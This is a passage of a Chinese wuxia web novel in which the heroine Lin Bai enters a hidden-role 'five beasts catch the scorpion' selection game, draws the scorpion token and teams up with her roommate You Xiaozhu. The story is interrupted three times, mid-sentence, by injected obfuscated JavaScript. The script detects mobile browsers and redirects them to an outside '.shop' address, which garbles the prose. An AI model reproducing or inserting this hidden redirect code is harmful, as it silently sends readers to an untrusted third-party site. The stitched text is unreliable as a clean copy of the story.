然而再不甘心也只能终究要认清现实,在与好友的话别与祝福中,被淘汰的少年们逐一离开比武场。 令林班惊讶的是,她居然看到洛青原也在向外走,方才没留神听,现在仔细一想,好像确实没听到念他的名字,看来是淘汰了。 林柏不过偶然一瞥,没料想洛青原是个敏感肌,察觉到她的目光后狠狠剜了她一眼:“林柏,你别得意!谁知道你干了什么见不得人的事才夺得这个吊车尾的名次!别妄想还能在这里撑多久,我等着你淘汰。” 林柏:“……” 她已经尽力无视这人了,可他非要一而再再而三地冲到自己面前刷存在感,那就只能说抱歉了。 林柏轻轻一撩额间碎发,端起胜利者的悠闲自得,问:“师兄,你可知你为何票数会如此低?” 洛青原当然不会回答她,只是一味的怒目而视。 林柏:“答案在于脸。师兄你虽然口眼鼻一应俱全,奈何左眼欲观天,右眼欲探地,鼻孔朝天似待雨,如此布局,实有开天辟地之创新气象啊!欸,师兄,你脸皮怎么变绿了?这下倒是与你的名字相衬了,面如青青草原,人如幽怨青鬼……” “姓林的,你给我住嘴!我要杀了你……” 这厢林柏摇头晃脑悠然得仿若在念诗,那厢洛青原气得面皮发绿,若非周围人拦着,他怕是早就冲到林柏跟前发狂了——六重飞云宫内禁止私斗,洛青原的同门自然不想他在临走之际还惹出一身麻烦。 四周不少人听清了林柏的一番骂,暗自偷笑的人也不少,就连洛青原的好师弟,点苍二兽另一兽,徐知南都忍不住弯了弯嘴,随即立刻收敛,心道这林柏怎么突然变得这么牙尖嘴利! 平心而论,洛青原的长相并不到“丑”的程度,是路人甲那种普通水平,然而致命的是他有轻微的斗鸡眼,导致整张脸在做表情时会显得不协调,很是明显。因而听到林柏的那一段评书般的点评时,才有不少人发笑。 一阵混乱的挣扎后,洛青原好容易才被拉出比武场,一边试图挣开同伴的桎梏,一边大喊大叫。另一头离得远的人倍感怪异,只当他是被淘汰太不甘心而精神失常。 哼哼,永远不要试图挑战一个常年混迹论坛的人。林柏露出一个臭屁的笑。 不多时,场上只剩下晋级的六十余人。 张之远淡淡向下一瞥,视线扫过众人:“恭喜各位晋级,接下来向大家说明第二轮选拔的内容。” “这是一个有趣的捉鬼游戏——名叫《五兽捕蝎》。” 林柏不知是不是自己的错觉,张之远的声音里好似多了几分笑意,彷佛极为期待他们即将进行的第二轮选拔。 恐怕第二轮选拔难度会直线上升,她心想。 张之远站在看台,声音雄厚又空灵: “在场的六十人,接下来将被分为五组,分别是:鹤组,猿组,蛇组,狮组,狼组;组内有一令主,一尾钩和一只蝎,其余皆为普通兽类。分组将在稍后进行,所有人以抽取到的令牌为身份基准。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515256|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “蝎群噬土为瘴,蜇物即腐,他们以狡猾的特性和致命的毒液潜藏在兽群中,是万恶之疽。‘五兽捕蝎’游戏要求,所有兽类跟随令主,猎捕种群中潜伏的蝎,延续种群的发展。” 一段颇为中二的游戏开场白之后,张之远开始介绍《五兽捕蝎》游戏的具体规则。林柏留心听着,越听心越沉,大概规则如下: (一)令主是唯一有资格猎捕蝎的人,拥有两次确认猎捕的资格,其余兽类可搜集信息帮助令主找出蝎; (二)尾钩可与蝎相认,使所属兽类失去一次对蝎的猎捕资格,相认的尾钩和蝎在游戏结束后进行同等清算; (三)蝎可彼此相认,积累获胜条件; (四)蝎方游戏清算以相认数量为依据,例如,蝎相认数为0人时,双方各扣2000票;相认数为2人时,相认双方各扣1000票,相认数越多,扣除值越低,若蝎五人全部相认,则游戏结束,蝎类获胜;蝎若被捕,扣3000票; (五)兽类方游戏清算以成功猎捕蝎的数量为依据,成功猎捕蝎少于1次的,兽类全组每人扣2000票;成功猎捕蝎1次的,兽类全组每人扣1000票;成功猎捕蝎大于等于2次的,不扣票。 人群中神色各异,大家都在思量着在这场游戏中的生存方案。 如果抽选成为蝎,该如何在不被其他兽类察觉的前提下与同伴彼此相认? 如果抽选成为兽类,该如何纠出每条队伍里潜藏的蝎? 如果抽选成为尾钩,是要寻找蝎与其相认还是留在兽类的阵营找出蝎? “本轮选拔赛期间,所有人不得擅自离开六重飞云宫境内,违者直接淘汰。”张之远脸上虽然没什么表情,话语间却压迫感十足: “第二轮选拔从今日巳时至第八日亥时,这期间六重飞云宫内的水镜会一直开着,你们所有的行为表现都将通过水镜映射到影阁,观众看得一清二楚,若是想要在第二轮选拔夺得更高的票数,就不要做蠢事。” 水镜,是一种能够镜面照射的镜像投射到另一枚双生镜的奇物,说通俗点,就是现代的摄影机。至于影阁,则是电影院的翻版,观众付费入座实时观看武林新星大会的直播。 这番话给林柏提了个醒,说到底,游戏结束后晋级与否看的还是票数,对于大多数人来说,晋级关键不在于游戏的输与赢,而在于游戏中的表现是否足够亮眼,能否吸引到为他投票的粉丝。 在这种机制下,即使你是一只蝎也没猎捕到的令主,或者是被猎捕的蝎,只要你在游戏过程中有过高光时刻,例如成功算计了对手,隐藏身份甚至骗过了观众,那么你就极有可能通过观众投的票数逆转游戏清算扣除的票数,从而逆转局势晋级。 反过来说,即使你是一只苟到最后与同类全部相认的蝎,也极有可能因为操作过于无聊而被观众遗忘,即使未曾在游戏清算中扣票也难以名列前茅。 所以,这场选拔游戏,过程远远比结果要更重要。林柏在心里下了结论。 接下来是抽选令牌,决定游戏身份的环节。为避免泄露游戏身份,抽选令牌按第一轮选拔的票数排行,每个人逐一上前,进入看台旁边的魁阁抽选。 林柏是最后一个。 这期间她留神注意了每个从魁阁走出来的人,几乎没有神色异样者。都藏得很深啊,林柏苦笑。 等待很漫长,但林柏一向有耐心。 终于轮到她,林柏在走进魁阁的间息思考了一下抽到哪种身份比较好,结果是毫无思绪。 伸手从黑匣子里抽出仅剩的最后一张令牌,垂眸一看——是一只长颈回折,单足微提的鹤的形象。 被分到了鹤组。 手腕一翻,看向令牌的背面—— 一只尾钩高高扬起,六足抓地的蝎子直直映入了林柏眼里。 5. 漫游 十二分之一的概率! 居然成了潜藏在鹤组的蝎! 林柏微微皱眉,将令牌收好在袖口,一边慢步向外走,一边思索着。 尾钩能使得所属兽类失去猎捕蝎的资格,假若能在不被其他兽类察觉的前提下与尾钩相认,就能争取到更多的寻找同类之蝎的时间,这是蝎获胜的关键。 但真正实行起来恐怕会很困难,令主一定会想方设法阻止尾钩与蝎相认。 况且在同等清算规则下,一旦尾钩与蝎相认,两人便成了绑在一条绳上的蚂蚱,倘若蝎没能与更多的同类相认,尾钩也将面临高昂的票数扣减惩罚。 一切都是未知数,在此背景下,倘若令主拿出足够的利益招揽尾钩,尾钩会选择哪一方阵营就难说了。 真是一个难局。林柏叹了一口气,回到了比武场上。 到目前为止,所有人皆已抽取完令牌,身份分配完毕,但彼此之间却一无所知。 “似乎有条规则忘记宣布了,不过现在说也不迟。”台上的张之远突然狡黠一笑: “第二轮选拔期间,‘六重飞云宫境内禁止私斗’这一规定作废,所有人可以通过武力获取信息,但出手不得过重,不得致伤致残。” 这话一出,底下人神色皆是一变。林柏更是叫苦不迭,这条规则对她这个武功废柴实在太不友好了。 允许动武意味着什么?意味着对手可以走最简单粗暴的那条路,从你的手中夺走令牌确认身份! 对此林柏表示伤不起,默默地将袖口的令牌捂得更紧。 “第二轮选拔正式开始!”——在张之远一声雄厚的喊声下,会议正式结束,武林新星大会进入第二阶段! 毕竟游戏才刚刚开始,大家都倾向于先观察形势,并没有出现一声令下后众人暴起比武的情形。 在六十人心怀鬼胎的寂静中,人群渐渐散去。 林柏打了个哈欠,决定先回房里睡个回笼觉,正欲跟游小竹打个招呼时才发觉她人不见了。她没多想,一路半睡半醒梦游着躺回了床。 * 似乎下过雨,而周围似乎也并不平静。 林柏是被一阵凛冽的冷风吹醒的。阁楼的木窗不知何时被大风冲开了,晃荡着一下一下拍打在墙,连带着送进了冷风和雨后独有的、混着泥土味的青草气味。 林柏冷得打了个激灵,倒也清醒了不少。她挣扎着走到窗边,向外一探头,天色灰蒙,亭台、石阶、松树上都低垂着雨滴,阁楼并不隔音,一楼大大小小的喧闹声若有若无地透过窗台传进来。 游小竹仍然没有回房间,林柏猜想她是去搜集消息了,像她师父教给她的那样“闯荡江湖讲究有备无患”。 伸了个懒腰,林柏决定出门。 她要去见一见任务对象——慕容山庄的慕容泽。 走出二重阁的这一路,林柏碰见好几个一脸凝重,似有似无的将目光投在她身上的人,像是在掂量着什么。 看来有些人按捺不住了。林柏心一沉,脚步加快踏出了阁门。接下来的一路也是专挑人迹罕至的偏路,然而她显然低估了六重飞云宫的布局,在第三次见到那个满塘荷花的池子时,林柏意识到自己迷路了。 呃,我记得去四重阁的路就是这里啊,怎么变成鬼打墙了。林柏摸了摸鼻子,有些无奈,算了,实在找不到路随便走走也行。 于是她双手交叠在脑后,赫然变成了游客心态,吊儿郎当地漫步顺着荷花池边的石阶踏入了前方的月洞门,走进了另一边亭台。 亭台上方的匾额龙飞凤舞的写着“蓝水亭”三个大字,过于古怪的名字吸引了林柏全部的注意力,下一秒她视线下移,方才发现亭台内有一个人。 第一眼注意到的,是那人坐着轮椅,一身白衣,手搭在扶手上,指甲修剪得极为整齐,修长,白净。 似乎察觉有人走近,他微微侧身,转过脸,投来很轻很轻的一瞥。 真是生得极好的一张脸。 他的眉心正中,端端正正印着一点朱砂,殷红如血。眉骨很高,眼窝微微凹陷,鼻梁如刀削般直而薄。没有半分古佛低眉时的慈悲,那人神色恹恹,就如同这灰败苍白的天。 双目对视,林柏认出了他是谁。 菩提寺,上官镜,票数榜排行第二。 恍然察觉自己一直盯着对方的脸,林柏有些不好意思的笑了,唇角一勾,杏眼一弯,笑起来就像春日暖阳下吹来的风,散了这阴雨绵绵后的灰败。 对方似乎愣了一瞬,林柏没有细看,自认已经用一个笑容友好表达了告辞之意的她飞快地转身走出了月洞门。 菩提寺的人,她可惹不起。 如今武林有六大门派:点苍剑宗,昆吾山庄,慕容山庄,灭度门,菩提寺,天师道。虽然各派主张亲密联盟共处武林事务,但彼此之间实力终究有差异,逐渐分化出了一线,二线,三线三个梯队。 像点苍剑宗就是典型的夫妻店经营模式,掌门朱明峰和妻子陈宁华是主要话事人。在这种经营模式下,点苍剑宗越来越跟不上武林发展的脚步,门派势力逐渐衰微,沦落成了三线队伍。 而同处三线梯队的慕容山庄,则是因为血蛊这一家族性遗传病而人丁衰微,始终无法再发展壮大。 至于二线梯队,则是昆吾山庄和天师道。这两方势力同样地产丰富,基础雄厚,几十年如一日地稳定发展着。 世上本没有菩提寺,只有佛教源流的灭度门。然而十多年前,灭度门的悟逸大师与关门弟子心鉴决裂,心鉴于是离开灭度门自创菩提寺,成了如今的心鉴大师。两人决裂来由江湖中传言甚多,却始终没有定论。 当年心鉴出走时,还带走了一大批武僧,构成了组建菩提寺的核心力量。在宗门发展这方面,他采取了和灭度门全然不同的策略,收徒无需剃度,发展也更加世俗化。不多时便成了武林中举重若轻的一股势力,是武林白道中重要的召集人与调停者。 而向来推崇“教外别传,不立文字,直指人心,见性成佛”(*)的禅宗理念的灭度门,本就不热衷江湖事务,在心鉴出走后不知是因自身无意还是菩提寺蓄意打压,总之发展越来越差,简直成了武林中的透明人,甚至不是可以划分到几线的性质。 虽然按照传统划分,灭度门仍属六大门派,但江湖中也有越来越多人认为,灭度门无药可救,原本远离中原武林的唐门事实上已经顶替其成为了六大门派之一。 无论如何,菩提寺在六大门派之中实力居于首位这一点是无可置疑的。 武功废柴林柏不认为自己招惹得起来自天下第一宗门的上官镜,虽然对方似乎只是在亭子里休息,虽然对方不一定屑于对她这种小角色出手,但是林柏赌不起!尽快跑路是最保险的! 直到离开了那片荷花池,林柏方觉自己是安全的,恢复了悠悠漫步。 不知为何,脑子里浮现起上官镜身下那架玄铁色的轮椅。话说……他为什么会坐着轮椅呢? 关于上官镜,林柏了解的只有原主记忆里那些所有人都知道的江湖传闻,天之骄子,容貌绝伦,武功超群之类的词数不胜数的被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515257|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用在他身上,然而却没有任何一个关于他是双腿如何残废,如何坐上那架轮椅的传闻。 那样一张脸,一个人,却要终生坐在轮椅上。林柏不免觉得有些可惜。 脚上突然踩到一颗细石,林柏差点一个打滑摔倒在地,好在最后稳住了重心。这一惊使她脱离了方才的思绪,抬头想着这是走到哪里了。 如何走出那片荷花池来到这的林柏一概不知,神游得很彻底,不过柳暗花明又一村,她居然误打误撞走到了四重阁前方的平地,看来今天还是有机会与慕容泽碰面的。 六重飞云宫里的亭子不可谓不多,在四重阁的左侧,又是一座亭子,又有一个人坐着。 如果你想看到一个白衣男子被手上的报纸气得面红耳赤,那么千万不要走开。 林柏没有走开,她目标明确地走向了那个男子。 “徐师兄,请问你在看什么呢?”林柏笑眯眯地问道。 是的,眼前坐在亭子里看报纸的男人正是点苍二兽之一,徐知南。换做之前,林柏肯定避之不及,怎么可能一脸友好地凑到跟前搭话。不过细心的她老早就注意到了对方手里拿着的这份报纸,心里有了猜测,打定主意要看一看这趟热闹。 徐知南显然已经气火攻心,就连林柏已经走到跟前都没发觉,被吓了一跳,几乎是条件反射地收起了手中的报纸,然而林柏还是看清了上头的一行标题——“情敌变情人?点苍二兽禁断爱恋!” 果然猜的没错!林柏拼命忍着没有笑出声。 “我看什么关你什么事!”徐知南心里有鬼,又羞又恼,“你干嘛突然出现在这里,你不住这里吧!” 林柏:“师兄,你激动什么呢?我不过就是关心你才问一问而已么。洛师兄不在你身边了,有些话本来想和你说,唉,不过既然你这么抵触,我还是走吧……” “等等,你是什么意思?把话说明白点!”一提洛青原,徐知南果然就不淡定了,一脸狐疑地看着林柏。 “唉,师兄你真的要听吗?”林柏装出苦恼的样子,“也许有些事瞒着你反而对你更好呢。” “我要知道!你赶紧说!”徐知南咬着牙。 “好吧,既然师兄你执意如此。”林柏了然道,“师兄,也许你不知道,唉,其实……其实,其实洛师兄他心悦你好多年了!” 徐知南面红耳赤,咬牙道:“你胡说八道!” 林柏似乎觉得他很奇怪:“我为何要胡说八道?这件事师门里都传遍了,连我这个外门弟子都知道。只不过大家怕徐师兄你接受不了,一直瞒着你罢了。不过……我也不能保证没有人对外透露风声。” 徐知南下意识看了一眼手头的《环湖日报》,嘴里喃喃自语:是真的?居然是真的…… 林柏继续加料:“师兄,难道你以为当时洛师兄被淘汰时那么生气是因为我刺激他?错了,那不过是因为他无法接受自己离开之后,你能够独自接近朱师妹罢了。他怕你被抢走,因为他,太,爱,你,了,啊!” 最后那一句话实在太有冲击力,徐知南起了一身鸡皮疙瘩,猛地站起身向外跑:“我要去给师兄买中药,能治好的,一定能治好的……” 哈哈哈哈哈哈——林柏再也忍不住,笑得那叫一个开怀。 “呵,想不到今日我居然见到了比望云楼的说书先生还会忽悠的人。” 一道悦耳的声音伴着青色身影掠过林柏眼前时,她心中的唯一想法是为什么这个武林世界的人都这么爱偷听啊? 而且都专爱挑她胡说八道的时候偷听! 6. 第一只蝎 来人身穿淡青窄袖劲装,腰系长剑,眉似青山远黛,目如幽潭映月,鼻似琼瑶,唇若涂朱,肤色白净如脂,含笑缓步走来,洒脱中别有一番飘逸风采。 如果没看错的话,他方才是从树上运起轻功落地的吧。林柏想,这么标志一个男人怎么跟猴子似的,居然还偷听别人说话。 两人对望。 林柏戏谑一笑:“想不到今日我居然见到了比望云楼的小倌还要俊俏的人。” 青衣男子:“……林柏姑娘一直都是这么舌灿莲花,牙尖嘴利么?” 居然认得我?林柏微微一怔,接着微笑道:“好说好说,不及公子半分俊俏,敢问公子芳名?” ……林柏这前言不搭后语的本事还真是独一份。 青衣男子也不恼,笑了一下道:“在下慕容泽。” 什么叫“踏破铁鞋无觅处,得来全不费工夫”? 这就叫!这就是! 林柏的眼睛立刻亮了起来:“原来你就是慕容泽!在下林柏,仰慕慕容公子已久,今日相遇,可见我们缘分不浅啊!” 慕容泽似笑非笑:“是么……” 他长相阴柔,貌若好女,现下这一笑更是柔情万千,浑身都散发着正道人士的光辉。林柏不禁又开始怀疑挖到慕容泽黑料的可能性了。 但无论如何,先套个近乎,跟任务对象打好关系总是没错的!林柏热切地胡说八道: “当然是这样!唉,想必慕容公子多少也有听过关于我的传闻,其实他们都误会了,我费尽心力混进武林新星大会不是为了锦绣前程,而是为了和你相遇!” “这样哦。”慕容泽挑眉,若有所思,“那为何你会认不出我这张脸呢?第一轮选拔时,我不是上台舞过剑么?难道你根本无意见我,提前离场了?” “……呃,这个嘛,当时有要事在身,我不得不提前走啊!心里还遗憾了好久的说。”林柏讪笑着胡编。 “原来如此。”慕容泽微笑,也不知是信了还是没信。 林柏继续捧杀对方刷好感:“慕容公子你面如冠玉,玉树临风,气质如同霜松雪鹤,倘若这一轮选拔令牌由我分配,我一定将你分到鹤组……” 慕容泽微微一怔,用一种奇异的目光看向林柏。 林柏立刻反应过来,她退后一步,举起双手:“……欸,不会恰好被我说中了吧……” 意料之外的是慕容泽没有半分被揭穿身份的恼怒,反而饶有兴味,似乎在期待林柏还能说出什么。 “不过——”察觉到对方态度的林柏立刻话锋一转,“慕容公子,我一向是个坦诚的人,不妨和你直说,我就是鹤组的人。假若你真的被分到了鹤组,我们未尝不能合作一番……” “哦?”慕容泽笑意尚未收敛,眉目弯弯,“请问和林柏姑娘合作有什么好处呢?” “好处可多了!”林柏不假思索地应道,“作为你的粉丝,首先我绝对不会出卖你!多个人多个帮手,我还能帮你更快地找出组里的蝎。往坏处说,倘若咱们出事了我还能给你垫个背!怎么样,是不是还不赖?” “今日你我不过第一次见面,你却说得如此死心塌地。难道就因为我是慕容泽?”慕容泽的笑意似乎有些淡了,眼神意味不明。 林柏正欲回答,天地之间忽然响起一道清越嘹亮的钟声,接连敲了三下——是四重阁近旁那一座魁阁! 下一刻,从魁阁里面传来一名道长雄厚的播报声: “目前已有两名尾钩与蝎相认,猿组,狮组丧失一次猎捕蝎的资格。” 每座阁楼近旁都有一座魁阁,既是为了方便令主去到魁阁确认对蝎的猎捕,也是为了及时播报选拔游戏的进度!此时此刻,整个六重飞云宫都被这三声钟响包围了,很快所有人都会知道这一消息! 居然会有人这么快就下手! 林柏与慕容泽对视一眼,眼底皆是犹疑之色。 这两名尾钩的相认会出自哪两只蝎呢?又或者,是同一只蝎的手笔? 看来同类的蝎里有了不得的人物啊。林柏心里思绪飞扬,早已忘了方才想要说什么。 慕容泽神色微沉:“林柏姑娘,我要回四重阁一趟,先告辞了。倘若还要谈合作,明日申时,来四重阁一十六间找我。”说罢便足尖一点,运起轻功。 这一消息对两人来说都过于突然,想必他是要回阁楼搜集消息。 不过总算是和慕容泽搭上了线,林柏轻呼一口气,心道也算是开了个好头。 * 二重阁不知为何挤满了人。 一踏进阁门,林柏就在混乱中被撞了一下,脚步一乱,直直退到了墙角。 她站定,抬眼一看,一楼十张茶桌无一例外坐满了人,桌凳以外的空地也里里外外围站着几圈人,人虽多,却只有正中间那张茶桌传来噪杂的说话声,其余人则似乎是在观望。 “事情真就如此古怪!偷袭我的是一个身形瘦小,年龄看上去不过十二三岁的小子,蒙着脸,只露出一双黑溜溜的眼睛。那人拳脚功夫不错,我又未及反应,很快被点了定身穴,他就夺了我的令牌。” “正是正是!我不过是想去泽明亭里赏雨景,谁料有人从身后偷袭,狠狠给了我脑袋一拳,晕过去前只看到一道瘦小黑影,想必是同一人!” “这可巧了!我也遇到了……” “不光是我们四重阁,二重阁也有人被偷袭了!说有个穿黑衣的小孩在四处夺人令牌,共有五人被袭。” “奇怪啊奇怪,都说是个十二三岁的小孩,可我们余下的六十人里哪有这样身形的人呢?” 众人显然都有同样的困惑,不得解。有一人又开口了:“徐峥,你快再想想,那个黑衣小子就没其他的特征了么?” 叫徐峥的那人是个长相粗犷的汉子,左脸有个拳头大小的青紫色淤青,闻言皱眉想了想,道: “我当时措不及防受了那人一拳,虽然没彻底晕过去,也实在算不得清醒。只知道那人目标明确,打晕我就开始翻找令牌,发现我是尾钩后立刻就拿出自己的令牌嵌合相认了……” “对了!”徐峥似乎想起了什么,声音突然变大,“他应该是受了伤,身上有一股药味!” “药味?想来他为夺令牌接连单挑数十人,受了伤也不稀奇。”有人回道。 “好像是这样。”徐峥摸了摸头,收回了自以为发现惊天线索的喜悦。 …… 虽是半路听八卦,但林柏连蒙带猜听出了个大概——这位徐峥恐怕就是今日被公告与蝎相认的尾钩之一,而且,他不是自愿与蝎相认,是那只蝎用武力征服而相认。 从说话人透露的信息来看,被那只蝎袭击的人不在少数,对方在采取最简单粗暴的排除法一个一个搜寻同类。这样看来,恐怕魁阁播报的两只尾钩都是“被”那只蝎相认了。 路子够野,行动够莽。 甚至运气也够好,被他找上门袭击的人无一例外武功都不如他,那只蝎幸运地没有踢到铁板。又或者说,他自己就是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515258|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块铁板? 身形瘦小,看上去十二三岁的小孩。武林新星大会里还有这样的铁板?林柏在记忆里搜寻了个遍,敢肯定她没见过这样的人。 对面人的话题已经转向了对令牌身份的讨论,只听见徐峥猛地拍了一下桌子:“干!偏偏我是尾钩,平白无故让那只蝎子占了便宜!你们要真逮到了那只蝎,看在我分享了这么多情报的份上,可要分我一点票数啊!” 林柏一时之间不知作何反应,没想到这徐峥长得五大三粗,却有一颗傻白甜的心。 周围人果然是但笑不语。 若有若无的噪声中,一记冷笑清晰地落在了每个人耳中: “蠢货。” 音量不大不小,但习武之人耳聪目明,自然听得清清楚楚。徐峥立马就站了起来,怒目圆睁,挺胸握拳:“谁敢说小爷坏话?有本事站出来!” 阁楼里里外外站了不少来探听情报的人,但如此大摇大摆,毫不掩饰地骂当事人的只有一个。 林柏看向与她距离不过三步,一袭黑衣,潇洒斜倚在木柱上的符平雪,不知是否是墙角昏暗导致的错觉,林柏总觉得对方有那么一两瞬将目光投向了她。 众人也都意识到了声音来处,一时之间寂静非常。徐峥脸上青一阵白一阵,显然认出了票数榜第一的符平雪。 无门无派却高居榜首的符平雪早就吸引了不少人的注意,然而却没人能查出任何有关他的消息。这只能说明要么他是从石头缝里凭空冒出来的,要么他的背景比所有人想象的都要强大。 徐峥犹豫了,他不确定自己是否招惹得起符平雪,然而怒气与不甘还是盖过了理智,他道:“你凭什么说我是……给我一个解释!” 符平雪起身离开木柱,双手抱于胸前往前走了两步,眼底毫无情绪地看了徐峥一眼:“马上要被淘汰的人,要什么解释。” 徐峥愣在原地,再一看周围人早已了然的神情,似乎意识到了什么。符平雪没再多说,走出了二重阁。 林柏理解符平雪为什么这么说。 规则规定尾钩和蝎相认后清算机制等同,那么尾钩一旦和蝎相认,严格意义上来说就变成了蝎。 无论尾钩与蝎相认是自愿与否,他最该做的都是继续隐藏身份,暗中帮助蝎彼此相认,这样才能最大程度减少自己的扣票损失。 徐峥这个愣头青却一股脑的向外曝消息,连尾钩身份也不藏了,自己开盒自己可还行。 另一只尾钩就聪明很多,一点风声都没传出来。显然是已经认清自己的处境,决定加入蝎的阵营了。 消息也探听完了,热闹也看完了,人群三三两两散去,空留呆在原地的徐峥。林柏默默在心底为这位兄台上了一炷香,也转身上楼了。 * 推开门迎面袭来一股药香的瞬间,林柏脑海里诡异地响起了徐峥说那只蝎身上有药味的话。 消失半日的游小竹终于回了阁楼,林柏进门时她正从脸上扯东西,薄薄一片,撕下了一半还剩一半在右脸。 两人都被对方吓了一跳,林柏惊疑不定:“……这是……人皮面具?” 游小竹茫然地眨了眨眼,有些迟疑地点头了。 “哦。”林柏有些木然地接收了这一消息,点头坐在了方桌前。 药味,消失了半日,莽撞得不像正常人类的行为方式…… 所有的信息不受控制地在林柏脑子里汇聚,她梗了一下,有些迟疑地开口了: “小竹,你是蝎吧。” 7. mini版游小竹 游小竹没有半分迟疑,几乎是贴着林柏的尾音道:“不是。” “……” 本来只有一点怀疑,但不知为何你这种斩钉截铁的语气让我更加肯定了。 林柏又用肯定句问了一遍:“是吧。” “不是。” “你就是了。” “不是。” “你是。” 游小竹骤然起身,欺步而上,眨眼之间就瞬移到了林柏跟前,左手曲指如钩抓向她肩头——瞬间被放倒的林柏傻眼了:能不能不要一言不合就动手啊! 眼看游小竹不知从何处掏出一根麻绳,林柏连忙告饶:“等等等等小竹你听我解释!我是蝎!我是蝎啊!我们好好说话别动手行吗!” 小竹一愣,动作僵住了。 林柏立刻将令牌从袖口淘出来,直直将背面那只蝎露给游小竹证明自己的清白,这一刻,林柏觉得自己拿着的是一块免死金牌! 游小竹有点怔:“啊,是真的欸。” “比珍珠还真。”林柏狼狈地从地上爬起来,拍了拍身上的灰,“怎么样,可以相信我了吧。” 游小竹点头。 林柏当机立断:“先相认一下。” 游小竹立刻将自己的令牌从袖口掏出递给林柏,林柏接过来看,正面是一只双目阴绿,作长啸状的狼,背面则是蝎。 狼组的蝎。 令牌近似筝形,上宽下窄。林柏注意到游小竹那块令牌的右侧面已经有两道嵌合的痕路,估计是她今日大杀四方与两只尾钩相认留下的成果。 蝎与尾钩,以及蝎之间的相认都不需要前往魁阁确认,只需将令牌彼此嵌合便可留下独特的痕路。与此同时,魁阁也会接收到这一相认信息,但不会通报。 这大概是为了平衡两方实力,毕竟总体看来,蝎类确实处在相对弱势的位置。 干脆利落地将两块令牌一嵌合,一道清晰的痕路便留在了令牌左侧面。 运气比想象中的要好一点,居然在第一天就和一只蝎相认了。林柏愉快地将令牌转在指尖甩了甩。 更没想到的是,室友居然就是队友。 将令牌还给游小竹,林柏随意问道:“如果我不是蝎,你刚刚打算怎么处置我?” “绑起来,关进柜子里,直到选拔结束。”游小竹好像丝毫没意识到她在说一件很恐怖的事情,表情一脸淡定。 林柏有些发毛,心道好在我和你是同类,不然我就要饿死在柜子里了。 “来,坐下坐下,我们是同一阵线的,好好聊聊!”林柏一手搭在游小竹肩上,将她带到了木桌前,两人坐下。 “今天魁阁播报的那两只尾钩都是你相认的?” 游小竹点头。 “在二重阁和四重阁到处夺人令牌的黑衣人就是你?” 游小竹点头。 林柏难以理解:“你怎么这么莽呢?就不怕袭人不成反被袭么?” 游小竹眼神清澈:“师父说过,凡事先下手为强。” 林柏为之绝倒。 “好吧,下一个问题。”林柏无奈扶额,“脸没被人认出来我理解,毕竟又戴人皮面具又蒙黑布。你的身形是怎么回事?他们都以为是个十二三岁的小孩在搞鬼。” “缩骨功。”游小竹言简意赅,林柏瞬间了然。 这不就是武侠小说里常见的易容术么!她怎么没想到呢!再又联系起原主的记忆,找到了更多的信息。 缩骨功起于西南地区,流传并不广。此术需要自小练习,忍受关节反复脱臼之苦,使韧带松软,骨骼滑移。功成后,习术之人便能自行错开周身关节,将身躯缩至更小的形态。 林柏好奇得紧,声音透着期待之色:“小竹,你能不能让我看看缩骨术是怎么施展的呢?” 游小竹眨了一下眼睛,似乎不理解林柏为什么会好奇这个,但她还是很配合地点头了。 接着她伸出二指飞快地点了几个穴位,闭上双目,起运内力配合嘴中低念的口诀,身躯慢慢发生了肉眼可见的变化。 林柏几乎能听到筋骨变形的声音,目不转睛地看着游小竹——身形一低,肩线下移,几个错眼间,游小竹成了十二岁的小孩模样! 林柏张大了嘴。 这哪里是缩骨功,这分明是驻颜术吧!不光是身形骨架变小了,脸上的骨骼轮廓也跟着变成了幼态! 假若是八十岁的小老头施展起缩骨功,岂不是等于返老还童了! 此时的游小竹完全是邻家妹妹的模样,她平日表情就不丰富,神色淡漠,一派清冷气质。然而变小之后却有些微妙喜感,像个故作成熟,有些臭屁的妹妹。 林柏大笑两声,忍不住捏了捏游小竹的脸蛋:“谁教会你缩骨功的,嗯?告诉姐姐。” 被捏住一边脸的游小竹声音鼓鼓的:“师……师父教我的。” 林柏松开捏脸的手,是真的好奇了:“你师父究竟是何方神圣?姓甚名谁?” “师父姓游,名字我也不知道,师父不说。”游小竹摸了摸微微泛红的脸蛋,一板一眼地回答。 “你师父是做什么工作的?”话一出口林柏便觉得有些怪,不过游小竹好像理解了,她想了想道: “师父每日每夜都在药房熬药,药,很厉害,师父,也很厉害。” 难怪游小竹身上总有一股淡淡的药味,估计是常年和他师父一起生活沾染上的。林柏心道。 会缩骨功说明小竹多半来自西南地区,师父会医药之术,可能医名显赫…… 林柏微微沉吟,有了猜测——难道小竹来自传闻中与世隔绝的无双药谷? 